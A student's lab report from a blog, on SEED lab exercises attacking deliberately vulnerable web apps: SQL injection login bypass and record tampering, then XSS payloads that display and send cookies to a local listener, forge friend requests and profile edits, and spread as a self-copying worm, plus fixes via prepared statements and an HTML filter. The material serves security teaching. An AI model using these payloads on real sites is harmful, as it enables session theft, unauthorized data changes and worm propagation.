20232803 2023-2024-2 《网络攻防实践》实践十报告

最新推荐文章于 2024-07-11 10:48:35 发布
最新推荐文章于 2024-07-11 10:48:35 发布
阅读量828 收藏 17
点赞数 28
文章标签： 网络 安全 数据库
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_46701653/article/details/139119739
版权

目录

1. 实践内容

1.1 SEED SQL注入攻击与防御实验

  • 我们已经创建了一个Web应用程序，并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色：管理员是特权角色，可以管理每个员工的个人资料信息。员工是一般角色，可以查看或更新自己的个人资料信息。完成以下任务：

  1. 熟悉SQL语句： 我们已经创建了一个名为Users的数据库，其中包含一个名为creditential的表。该表存储了每个员工的个人信息（例如，eid，密码，薪水，ssn等）。在此任务中，您需要使用数据库来熟悉SQL查询。

  2. 对SELECT语句的SQL注入攻击：上述Web应用存在SQL输入漏洞，任务是在不知道密码的情况下登陆该Web应用程序。

  3. 对UPDATE语句的SQL注入攻击：通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

  4. SQL对抗：修复上述SQL注入攻击漏洞。

1.2 SEED XSS跨站脚本攻击实验(Elgg)

  • 为了演示攻击者可以利用XSS漏洞做什么，我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中，学生需要利用此漏洞对经过修改的Elgg发起XSS攻击，攻击的最终目的是在用户之间传播XSS蠕虫，这样，无论是谁查看的受感染用户个人资料都将被感染。

  1. 发布恶意消息，显示警报窗口：在您的Elgg配置文件中嵌入一个JavaScript程序，以便当另一个用户查看您的配置文件时，将执行JavaScript程序并显示一个警报窗口。

  2. 弹窗显示cookie信息：将cookie信息显示。

  3. 窃取受害者的cookies：将cookie发送给攻击者。

  4. 成为受害者的朋友：使用js程序加受害者为朋友，无需受害者干预，使用相关的工具了解Elgg加好友的过程。

  5. 修改受害者的信息：使用js程序使得受害者在访问Alice的页面时，资料无需干预却被修改。

  6. 编写XSS蠕虫。

  7. 对抗XSS攻击。

2. 实践过程

2.1 SEED SQL注入攻击与防御实验

2.1.1 熟悉SQL语句

  • 输入命令mysql -u root -p登录数据库，密码为seedubuntu
    在这里插入图片描述

  • 先输入命令use Users;使用数据库Users，再输入show tables;查看该数据库的表
    在这里插入图片描述
    可以看到该数据库含有两张表，分别是Tables_in_Users和credential

  • 输入命令select * from Tables_in_Users;查看Tables_in_Users表中的字段和数据

  • 输入命令select * from credential; 查看credential表中的字段和数据
    在这里插入图片描述
    查看Tables_in_Users表时，提示该表不存在
    在credential表中可以看到该表中含有姓名、生日、工资、密码等字段，并且有6条数据

2.1.2 对SELECT语句的SQL注入攻击

  • 自带的火狐浏览器中打开http://www.seedlabsqlinjection.com/
    在这里插入图片描述

  • 在该页面右键选择Inspect Element打开开发者工具，然后选择Network选项
    在这里插入图片描述

  • 输入任意的账号和密码，点击登录
    在这里插入图片描述
    可以看到，点击登录按钮后，该网站将用户输入的账号和密码作为路径参数，向unsafe_home.php页面发送了一个GET请求

  • 在终端中输入命令vim /var/www/SQLInjection/unsafe_home.php查看unsafe_home.php的源码

    • 首先从GET请求中获取账号和密码，并对密码进行哈希，然后检查是否存在已经登录的Session，接着与本地的数据库Users建立连接
      在这里插入图片描述
    • 建立连接后，使用SELECT语句根据账号和哈希后的密码查询用户的信息
      在这里插入图片描述
    • 接着我们可以发现管理员的账号为Admin
      在这里插入图片描述

  • 在实施SQL注入攻击之前，我们先对这条SELECT语句进行分析

SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password
FROM credential 
WHERE name= '$input_uname' and Password='$hashed_pwd';

这条语句的关键之处在于WHERE之后的条件判断
我们知道在SQL中#表示注释，如果我们在输入账号后紧接着输入一个单引号'将筛选条件终止，然后输入一个#将后面的SQL语句直接注释掉，那么这条SQL语句就能够直接被执行

  • 前面我们知道了管理员的账号是Admin，根据上述分析，我们在该网站中输入账号Admin'#进行登录，不需要输入密码
    在这里插入图片描述
  • 点击登录按钮后可以看到成功登录，进入了管理员页面，能够看到所有用户的信息
    在这里插入图片描述
    对SELECT语句的SQL注入攻击成功！
2.1.3 对UPDATE语句的SQL注入攻击
  • 刚才已成功登录Admin的账号，接着点击页面上方的Edit Profile
    在这里插入图片描述
  • 打开开发者工具，输入新的用户信息
    在这里插入图片描述
  • 点击保存按钮后，可以看到该网站向unsafe_edit_backend.php页面发送了一个GET请求
    在这里插入图片描述
  • 在终端中输入命令vim /var/www/SQLInjection/unsafe_edit_backend.php查看unsafe_edit_backend.php文件的源码
    在这里插入图片描述
    可以看到这里有两条UPDATE语句，这两条是类似的，区别在于一个设置了新密码，而另一个没有设置新密码。这两条语句的区别对于我们实施SQL注入没有太大影响。
UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;

与前一个SQL注入类似，这里我们可以在SET nickname = '后面添加自己想要修改的字段，并通过WHERE name = 'xxx'来指定用户，最后使用#将后面的SQL语句注释掉

  • 在Edit Profile页面的NickName中输入wujinlong', SSN='20232803' where name='Alice';#，点击保存
    在这里插入图片描述
  • 可以看到修改成功，用户Alice的信息成功被修改
    在这里插入图片描述
    UPDATE语句的SQL注入攻击成功！
2.1.4 SQL对抗
  • 该网站存在SQL注入漏洞的原因是代码和用户输入的数据没有隔离，而是写在了一起，导致无法区分原始SQL语句和用户输入的数据，让攻击者有机可乘
  • 将SELECT语句修改如下
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password 
	FROM credential 
	WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

在这里插入图片描述

  • 再次尝试登录
    在这里插入图片描述
  • 登录失败
    在这里插入图片描述
    修复成功
  • 将UPDATE语句修改如下
# 第一条UPDATE语句
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,Password=,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address,$input_password, $input_phonenumber);
# 第二条UPDATE语句
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

在这里插入图片描述

  • 再次尝试修改，之前对Alice的信息进行了修改，这次尝试修改Boby的信息
    在这里插入图片描述

  • 点击保存后，查看信息发现修改失败
    在这里插入图片描述

修复成功！

2.2 SEED XSS跨站脚本攻击实验(Elgg)

2.2.1 发布恶意消息，显示警报窗口
  • 打开网站http://www.xsslabelgg.com/ ，该网站的用户名即为上一节的数据库中存在的用户名。除管理员Admin以外，用户的登录密码均为seed + 用户名。
  • 下面我们使用Alice登录，如上所述，密码为seedalice
    在这里插入图片描述
  • 点击Alice的头像，然后点击Edit profile进入修改个人信息页面
    在这里插入图片描述
  • 在Brief description中输入XSS攻击代码<script> alert('xss');</script>，该代码用于弹出一个窗口
    在这里插入图片描述
  • 保存之后，再次访问Alice的主页，弹出了警报窗口
    在这里插入图片描述
2.2.2 弹窗显示cookie信息
  • 在Brief description中输入XSS攻击代码<script> alert(document.cookie);</script>，该代码用于弹出一个窗口，窗口中显示Cookie信息
    在这里插入图片描述
  • 保存之后，再次访问Alice的主页，弹出了警报窗口，显示了Cookie信息
    在这里插入图片描述
2.2.3 窃取受害者的cookies
  • 在页面加载时，如果遇到img标签，浏览器会向src字段指示的url发送请求。利用这一特性，我们便可以构造出如下代码，并将其写入Boby的Brief description中。
  • 当有用户访问Boby的主页时，该用户的cookie会被写到src字段中。通过document.write向页面写入了一个img标签，浏览器会把它当作是一张图片，向相应的地址和端口发送请求，请求中正携带了该用户的cookie信息
<script>
  document.write('<img src=http://127.0.0.1:2803?c=' + escape(document.cookie) + '>');
</script>

在这里插入图片描述

  • 在终端中输入命令nc -l 2803 -v监听端口
    在这里插入图片描述

  • 以Alice的身份登录，访问Boby的主页http://www.xsslabelgg.com/profile/boby
    在这里插入图片描述
    成功监听到这一请求，并且获取了受害者Alice的Cookie

2.2.4 成为受害者的朋友

  • 以Alice的身份登录，访问Boby的主页http://www.xsslabelgg.com/profile/boby，右键选择Inspect Element打开开发者工具，选择Network

  • 点击左侧的Add friend按钮向Boby发送好友请求
    在这里插入图片描述

  • 点击Add friend按钮后，向http://www.xsslabelgg.com/action/friends/add发送了POST请求，并携带了三个参数

friend=45 //要添加的用户id
__elgg_ts=1715849723 //时间戳
__elgg_token=8s6rxvluUUz-8kY8-VbeoQ //token
  • 于是构造如下js代码，用于强制添加好友
<script type="text/javascript">window.onload = function () {
    var Ajax = null;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
   var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}</script>

  • 打开Alice的Edit profile页面，点击About me右侧的Edit HTML，填写以上代码并保存
    在这里插入图片描述

  • 以Boby的身份登录，访问Alice的主页http://www.xsslabelgg.com/profile/alice，再回到Boby的主页
    在这里插入图片描述
    可以看到Boby自动将Alice添加为好友了

2.2.5 修改受害者的信息
  • 与上一节相似，在Alice的Edit profile页面打开开发者工具的Network，点击保存按钮发送修改个人信息的请求
    在这里插入图片描述

根据请求结果可知，修改个人信息时，向http://www.xsslabelgg.com/action/profile/edit发送了POST请求，并携带了多个字段信息

  • 于是构造如下js代码，用于强制修改用户个人信息
<script type="text/javascript">
    window.onload = function(){
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "name=" + userName + "&description=<p>Edited By 20232803wjl</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var aliceGuid=44;
        if(elgg.session.user.guid!=aliceGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
	}
</script>

  • 打开Alice的Edit profile页面，点击About me右侧的Edit HTML，填写以上代码并保存
    在这里插入图片描述

  • 以Boby的身份登录，访问Alice的主页http://www.xsslabelgg.com/profile/alice，再回到Boby的主页
    在这里插入图片描述
    Boby的个人信息成功被修改

2.2.6 编写XSS蠕虫
  • 编写如下XSS蠕虫代码
<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>"; 
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
 
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
 
        //Construct the content of your url.
        var content= token + ts + "&name=" + userName + "&description=<p>XSS Attack By 20232803wjl"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)
     
        var aliceGuid=44;
 
        if(elgg.session.user.guid!=aliceGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>
  • 打开Alice的Edit profile页面，点击About me右侧的Edit HTML，填写以上代码并保存
  • 以Boby的身份登录，访问Alice的主页后，再返回Boby的主页，此时发现Boby的个人信息已被修改
    在这里插入图片描述
  • 以Samy的身份登录，访问Boby的主页，再返回Samy的主页，此时发现Samy的个人信息也被修改了
    在这里插入图片描述
    由此可知，XSS蠕虫攻击成功！
2.2.7 对抗XSS攻击
  • 以管理员Admin的身份进行登录，用户名为Admin，密码为seedelgg
  • 登录后，依次点击右上角的Account - Administration
    在这里插入图片描述
  • 点击页面右侧的Plugins
    在这里插入图片描述
  • 找到HTMLawed，发现该插件已被激活，不需要再进行操作，该插件用于提供安全校验

注：显示Deactivate就表示已经激活了！！
如果是显示Activate，才需要点击Activate将其切换为Deactivate状态以激活该插件

  • 再次以Samy的身份，访问Alice的主页
    在这里插入图片描述
    可以看到Alice主页里的XSS蠕虫代码已失效，对抗成功！

3.学习中遇到的问题及解决

  • 问题1：在对抗XSS攻击实践中，激活了插件HTMLawed，但XSS攻击仍成功，也就是对抗失败了
  • 解决方案：
    • 经过检查，发现在Plugins插件页面中，插件左侧的按钮若显示Activate则表示插件未激活，若显示Deactivate则表示插件已激活
    • 于是重新激活插件，成功对抗XSS攻击

4.实践总结

对于SQL注入和XSS攻击，以前只是了解但还未实践过，这一次的实践让我对它们有了直观的感受。SQL注入漏洞让用户可以随意的操作数据库进行增删改查，XSS蠕虫更是能够自我传播。这两个漏洞都是因为没有对用户输入的数据进行校验导致的，因此在开发阶段就应注意这些安全隐患。好在现如今许多开发框架都已替我们考虑到了这些安全漏洞，现在很少有网站存在SQL注入漏洞和XSS漏洞了。

20232803吴锦龙
关注
  • 28
    点赞
  • 踩
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
华中科技大学网络攻防实践相关
02-14
华中科技大学网络攻防实践相关
网络攻防实践_课程报告.zip
07-19
网络攻防实践_课程报告.zip
20232803 2023-2024-2 《网络攻防实践》实践八报告
weixin_46701653的博客
05-03 817
在分析网络数据源的过程中，面对大量的数据，我学会了如何筛选和识别关键信息，通过对数据包的深入分析，我能够理解攻击者的策略和行为模式。在筛选后的数据包中发现只有NBNS包，NBNS是网络基本输入/输出系统（NetBIOS）的一部分，主要负责在基于NetBIOS名称访问的网络上提供主机名和地址映射服务。如上图所示，前面的字符串都是一些乱码，而最后出现了两个dll文件和三个没有文件名后缀的文件，根据这三个文件的文件名，猜测是程序或函数。在筛选后的数据包中只有一些TCP三次握手过程的数据包，没有数据的交互。
20232803 2023-2024-2 《网络攻防实践》实践七报告
weixin_46701653的博客
05-02 1043
防守方：使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件，结合 wireshark/snort 分析攻击过程，获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。攻击方：使用 Metasploit ，选择 Metasploitable 靶机中发现的漏洞进行渗透攻击，获得远程控制权，并尝试进一步获得root权限。在攻击前，打开Kali的Wireshark进行抓包，攻击完成后，在Wireshark中输入。
20232803 2023-2024-2 《网络攻防实践》实践6报告
weixin_46701653的博客
04-27 990
答：攻击者首先通过Unicode漏洞对目标主机进行了信息搜集，掌握了操作系统的基本情况。通过这一系列复杂的操作，攻击者最终成功地获得了系统的访问权限，并为自己创建了一个具有高权限的用户账户，从而实现了对目标系统的控制。答：在成功获取系统权限后，攻击者继续尝试提升权限。答：攻击者对Unicode漏洞使用了Unicode攻击，并对msadcs.dll的RDS漏洞使用msadc.pl渗透工具进行攻击。答：是的，后面攻击者已经发现了他的目标是一台蜜罐主机，并在rfp.txt文件中称这是他见过的最好的蜜罐主机。
20232803 2023-2024-2 《网络攻防实践》实践五报告
weixin_46701653的博客
04-18 976
本次实践主要学习防火墙、IDS、IPS的运行机制、原理以及配置规则等内容。通过防火墙和入侵检测，可以获取攻击者的攻击行为。防火墙和入侵检测有助于防御者采取针对性的防御措施，以最小的成本应对最大程度的威胁。蜜网网关拥有较为完善的防御机制，通过使用没有任何防御措施的蜜罐主机，诱导攻击者进入“圈套”。防御者通过观察攻击者对蜜罐主机的攻击，可以总结出攻击者的攻击手段和方法。
网络攻防技术实践-防火墙.doc
05-12
网络安全实验
网络攻防技术实践-NIDS.doc
05-12
网络安全技术实验
网络攻防技术与实践
11-17
网络攻防技术与实践》是一本面向网络安全技术初学者, 和相关专业学生的基础书籍，全面介绍了网络攻防的基本理论知识、技术, 方法和工具软件。在介绍每一部分网络攻防技术之后，通过一些自主设计, 和从社区借鉴的实践...
YOLOv10改进 | 特殊场景检测篇 | 轻量级的低照度图像增强网络IAT改进YOLOv10暗光检测（全网独家首发）
Snu77的博客
07-11 8976
本文给大家带来的改进机制是轻量级的变换器模型：Illumination Adaptive Transformer (IAT)，用于图像增强和曝光校正。其基本原理是通过分解图像信号处理器（ISP）管道到局部和全局图像组件，从而恢复在低光或过/欠曝光条件下的正常光照sRGB图像。具体来说，IAT使用注意力查询来表示和调整ISP相关参数，例如颜色校正、伽马校正。模型具有约90k参数和约0.004s的处理速度，能够在低光增强和曝光校正的基准数据集上持续实现优于最新技术（State-of-The-Art, SOTA）
Mac虚拟机跑Windows流畅吗 Mac虚拟机连不上网络怎么解决 mac虚拟机网速慢怎么解决
2401_82916694的博客
07-10 632
选择Shared模式，你的Mac会当作虚拟机的路由器。一般来说，拥有更高性能的Cpu（如Apple M2或M3芯片）、更大的内存（建议16GB以上）、以及足够的存储空间可以显著提升虚拟机中Windows的运行流畅度。Mac的防火墙或其他安全设置可能阻止虚拟机访问网络，如果你的Mac主机可以访问网络，并且排查了上文介绍的情况，那么可以尝试关闭Mac电脑防火墙，再检查虚拟机是否可以连接网络。使用Mac虚拟机运行Windows是否流畅，取决于几个关键因素：硬件配置、虚拟机软件的选择以及虚拟机的设置。
Zabbix自动发现
Lzcsfg的博客
07-08 752
在 Zabbix 中，自动发现（Auto Discovery）是一种强大的功能，用于自动识别和监控网络设备、服务或应用程序中的动态变化。通过自动发现功能，Zabbix 可以自动添加、配置和监控新的网络节点或服务，大大简化了管理和监控大规模环境的复杂性。
从零开始做题：logtime
weixin_44626085的博客
07-10 238
给出1个pcapng文件。
访问控制的定义与原理
SafePloy_SH的博客
07-11 191
访问控制(Access Control)是一种重要的安全机制，用于限制对程序中的数据、函数、类以及计算机系统中资源(如文件、数据库、网络设备等)的访问权限。其主要目的是保护系统中的敏感信息和资源，防止未经授权的访问和操作，确保系统的安全性、完整性和可靠性。综上所述，访问控制是保障系统安全的重要手段之一，它通过限制用户对资源的访问权限来防止未经授权的访问和操作。允许用户对自身所创建的访问对象(如文件、数据表等)进行访问，并可将对这些对象的访问权授予其他用户或收回其访问权限。
windows局域网文件传输方案
aidayei的专栏
07-08 303
1.共享文件：采用smb协议传输数据，可以直接通过windows资源管理器地址栏中输入ip:\share目录，也可以用windows自带的Robocopy命令拷贝。2.ftp方式：采用ftp协议传输数据，服务端需要有ftp服务器，或者采用sftp或scp方式，需要服务端装open-ssh服务器。4.tcp/udp方式：采用tcp/udp协议传输数据，需要自己编写socket服务端和客户端，传输数据切割和重组等。3.http方式：采用http协议传输数据，服务端需要装python，通过python -m。
UDP协议介绍和作用
小蜜蜂vs码农
07-10 1039
UDP协议介绍和作用
SQL Server设置端口：跨平台指南
招风的黑耳CSDN
07-09 583
在使用SQL Server时，设置或修改其监听的端口是确保数据库服务安全访问和高效管理的重要步骤。由于SQL Server可以部署在多种操作系统上，包括Windows、Linux和Docker容器等，因此设置端口的步骤和方法也会因平台而异。本文将为您提供一个跨平台的指南，帮助您在不同环境下设置SQL Server的端口。
ENSP防火墙综合配置
最新发布
Enjoy_zhuo的博客
07-11 141
因为ISP返回的数据包会被防火墙最后的默认安全策略给拒绝，所以，把要ISP返回的数据给允许通过。
2021实战攻防企业红蓝对抗实践指南-长亭.pdf
07-17
《2021实战攻防企业红蓝对抗实践指南-长亭.pdf》是一份关于红蓝对抗实践的指南文件。红蓝对抗是一种模拟真实攻击和防御的方法，旨在测试企业的安全性能和发现潜在漏洞。 该指南首先介绍了红蓝对抗实践的基本概念和目标。红队代表攻击方，利用各种技术手段和策略试图入侵企业系统，而蓝队则代表防御方，负责检测和阻止攻击，并进行相应的应对和修复措施。 接下来，指南详细解释了红蓝对抗实践的步骤和流程。其中包括情报收集，攻击路径规划，漏洞利用，权限提升，数据抓取等环节，通过逐步深入渗透，验证企业的安全性。 在红蓝对抗实践中，指南还提供了一些常用的攻击技术和实用工具的介绍，如渗透测试工具、漏洞扫描工具和安全分析工具等。同时，还给出了常见的安全防御策略和技术建议，如强化访问控制，加强日志监控和事件响应能力等。 此外，指南还强调了红蓝对抗实践的重要性，并提供了一些实战案例和经验分享，帮助企业更好地理解和应用红蓝对抗技术，提升自身的网络安全防御水平。 总之，《2021实战攻防企业红蓝对抗实践指南-长亭.pdf》是一份全面而实用的红蓝对抗实践指南，对于希望提升网络安全能力的企业和安全从业人员来说，具有很高的参考价值。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值